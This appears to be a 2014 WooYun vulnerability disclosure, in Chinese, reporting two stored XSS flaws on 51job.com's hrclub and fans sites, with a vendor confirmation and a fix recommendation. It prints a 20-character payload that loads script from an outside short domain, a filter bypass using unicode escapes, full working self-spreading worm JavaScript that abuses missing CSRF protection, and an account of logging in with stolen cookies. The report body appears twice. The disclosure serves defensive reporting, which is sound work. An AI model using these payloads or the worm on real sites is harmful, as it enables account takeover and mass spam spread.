当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-072922

漏洞标题:前程无忧(51job.com) 两枚存储型XSS + 蠕虫 (html标签外20字符加载js)

相关厂商:前程无忧(51job)

漏洞作者: 0x_Jin

提交时间:2014-08-19 10:42

修复时间:2014-10-03 10:44

公开时间:2014-10-03 10:44

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:13

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-08-19: 细节已通知厂商并且等待厂商处理中
2014-08-19: 厂商已经确认,细节仅向厂商公开
2014-08-29: 细节向核心白帽子及相关领域专家公开
2014-09-08: 细节向普通白帽子公开
2014-09-18: 细节向实习白帽子公开
2014-10-03: 细节向公众公开

简要描述:

一天一洞 吃嘛嘛香 。 一天不挖xss 简直浑身难受

详细说明:

两枚存储型XSS 分别处于:
1.http://hrclub.51job.com/
2.http://fans.51job.com/
先来说第一个 hr club
漏洞存在于日志发表 - 作者处 (http://hrclub.51job.com/blog/user_post.asp)
着重说下这里:只能输入20个字符 前端限制15字符 未做任何过滤!
20字符 在html标签外 <a>([可控])</a>就是这样的环境 20字符如何去加载js?
<script src=//20.rs> 刚刚好20 可以利用Html代码后面的 </script> 或者让浏览器渲染后 补全都可以!
// 代表当前协议 然后再加上 parsec 团队的短域名 20.rs 这样组合在一起就成为了payload
上张图:
日志编辑界面

QQ20140818-1.png


前台日志

QQ20140818-2.png


可以看到未做任何过滤

QQ20140818-3.png


好了再来说下第二个存储型XSS吧
先上张图瞅一眼:

QQ20140818-5.png


这些是点开微博 自动转发的截图。在转发 发表微博什么的 全部未做csrf防护。这点安全意思需要加强啊!
再来说下 漏洞存在于哪吧,其实很简单 就是发微博的正文出。看下面的截图:

QQ20140818-6.png


可以看到 点击微博 看详情的时候 正文就被带入了script 然后没对 ' " > < / \ &#等字符进行编码 导致我成功闭合。然后用jQuery.getScript 成功加载js!(对关键字做了检测 Script 编码一下 绕过检测!对c 做了下unicode编码 :\u0063 在js中是可以使用js 16 js 8 jsunicode等编码的!在我这篇文章中曾提到过:http://drops.wooyun.org/tips/689)
然后我再对转发跟发表微博抓了个包,发现并未存在token,删除了来源页提交扔能成功!

QQ20140818-7.png


上面post包中的content 就是转发时 说的内容 urldecode 过来就是:挺不错喔,分享一下
然后还会自己再发表一条微博!
先看看代码吧:
;var address="http://fans.51job.com/payservice/fans/ajax/weibo_ajax.php";
var shuju="type=4&tsmtype=1&noticeid=140810019204190&replyid=140810019204190&org_replyid=&coid=&content=%E6%8C%BA%E4%B8%8D%E9%94%99%E5%96%94%EF%BC%8C%E5%88%86%E4%BA%AB%E4%B8%80%E4%B8%8B&tsmto=1&ctid=undefined";
ruchong(address,shuju);
function ruchong(url,data){
if (window.XMLHttpRequest){
var xmlhttp1=new XMLHttpRequest();
}
else{
var xmlhttp1=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp1.open("POST",url,true);
xmlhttp1.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
xmlhttp1.send(data);
};
for(var i=0;i<10;i++){
dizhi = "http://fans.51job.com/payservice/fans/ajax/weibo_ajax.php";
var id =[141505,1228355,2075311,154736,2505521,183831,370547,2014250,111351,126889];
var sendata="type=2&coid="+i+"&content=%E8%BF%99%E4%B8%AA%E6%89%BE%E5%B7%A5%E4%BD%9C%E6%8A%80%E5%B7%A7%E4%B8%8D%E9%94%99%E5%93%A6%EF%BC%8C%E5%90%84%E8%A1%8C%E5%90%84%E4%B8%9A%E7%9A%84%E5%A4%A7%E4%BD%AC%E4%BB%AC%E4%BA%B2%E8%87%AA%E4%BC%A0%E6%8E%88%EF%BC%81http%3A%2F%2Ffans.51job.com%2Fru7B4q&uploadimg=&is_comp=0&sina_authorize=0&qq_authorize=0";
ruchong(dizhi,sendata);
}
这个就是蠕虫的代码,先转发一次,然后再发表一条新的微博!
另外我还尝试了 获得cookie 并登陆 看截图:

QQ20140818-8.png


虽然做了httponly 但是仍然 能够登陆 看下图:

QQ20140818-9.png


成功登陆上去 使用的是我自己的cookie生成插件:

QQ20140818-10.png


只需把cookie放入左边 点击生成就会生成一段js代码 然后把代码放到浏览器里的console执行一下就好了!

QQ20140818-11.png


待会就把cookie都删了 请放心 我有节操。。。。 确认请多给点分 谢谢!

漏洞证明:

两枚存储型XSS 分别处于:
1.http://hrclub.51job.com/
2.http://fans.51job.com/
先来说第一个 hr club
漏洞存在于日志发表 - 作者处 (http://hrclub.51job.com/blog/user_post.asp)
着重说下这里:只能输入20个字符 前端限制15字符 未做任何过滤!
20字符 在html标签外 <a>([可控])</a>就是这样的环境 20字符如何去加载js?
<script src=//20.rs> 刚刚好20 可以利用Html代码后面的 </script> 或者让浏览器渲染后 补全都可以!
// 代表当前协议 然后再加上 parsec 团队的短域名 20.rs 这样组合在一起就成为了payload
上张图:
日志编辑界面

QQ20140818-1.png


前台日志

QQ20140818-2.png


可以看到未做任何过滤

QQ20140818-3.png


好了再来说下第二个存储型XSS吧
先上张图瞅一眼:

QQ20140818-5.png


这些是点开微博 自动转发的截图。在转发 发表微博什么的 全部未做csrf防护。这点安全意思需要加强啊!
再来说下 漏洞存在于哪吧,其实很简单 就是发微博的正文出。看下面的截图:

QQ20140818-6.png


可以看到 点击微博 看详情的时候 正文就被带入了script 然后没对 ' " > < / \ &#等字符进行编码 导致我成功闭合。然后用jQuery.getScript 成功加载js!(对关键字做了检测 Script 编码一下 绕过检测!对c 做了下unicode编码 :\u0063 在js中是可以使用js 16 js 8 jsunicode等编码的!在我这篇文章中曾提到过:http://drops.wooyun.org/tips/689)
然后我再对转发跟发表微博抓了个包,发现并未存在token,删除了来源页提交扔能成功!

QQ20140818-7.png


上面post包中的content 就是转发时 说的内容 urldecode 过来就是:挺不错喔,分享一下
然后还会自己再发表一条微博!
先看看代码吧:
;var address="http://fans.51job.com/payservice/fans/ajax/weibo_ajax.php";
var shuju="type=4&tsmtype=1&noticeid=140810019204190&replyid=140810019204190&org_replyid=&coid=&content=%E6%8C%BA%E4%B8%8D%E9%94%99%E5%96%94%EF%BC%8C%E5%88%86%E4%BA%AB%E4%B8%80%E4%B8%8B&tsmto=1&ctid=undefined";
ruchong(address,shuju);
function ruchong(url,data){
if (window.XMLHttpRequest){
var xmlhttp1=new XMLHttpRequest();
}
else{
var xmlhttp1=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp1.open("POST",url,true);
xmlhttp1.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
xmlhttp1.send(data);
};
for(var i=0;i<10;i++){
dizhi = "http://fans.51job.com/payservice/fans/ajax/weibo_ajax.php";
var id =[141505,1228355,2075311,154736,2505521,183831,370547,2014250,111351,126889];
var sendata="type=2&coid="+i+"&content=%E8%BF%99%E4%B8%AA%E6%89%BE%E5%B7%A5%E4%BD%9C%E6%8A%80%E5%B7%A7%E4%B8%8D%E9%94%99%E5%93%A6%EF%BC%8C%E5%90%84%E8%A1%8C%E5%90%84%E4%B8%9A%E7%9A%84%E5%A4%A7%E4%BD%AC%E4%BB%AC%E4%BA%B2%E8%87%AA%E4%BC%A0%E6%8E%88%EF%BC%81http%3A%2F%2Ffans.51job.com%2Fru7B4q&uploadimg=&is_comp=0&sina_authorize=0&qq_authorize=0";
ruchong(dizhi,sendata);
}
这个就是蠕虫的代码,先转发一次,然后再发表一条新的微博!
另外我还尝试了 获得cookie 并登陆 看截图:

QQ20140818-8.png


虽然做了httponly 但是仍然 能够登陆 看下图:

QQ20140818-9.png


成功登陆上去 使用的是我自己的cookie生成插件:

QQ20140818-10.png


只需把cookie放入左边 点击生成就会生成一段js代码 然后把代码放到浏览器里的console执行一下就好了!

QQ20140818-11.png


待会就把cookie都删了 请放心 我有节操。。。。 确认请多给点分 谢谢!

修复方案:

过滤特殊字符 ' " < > / \ & # 然后关键功能做上csrf的保护等等
不要以为可输入的字符短了 就一点过滤也不做。。。
好了 差不多就这些吧 希望可以多给点分

版权声明:转载请注明来源 0x_Jin@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-08-19 19:46

厂商回复:

谢谢反馈,马上修复

最新状态:

暂无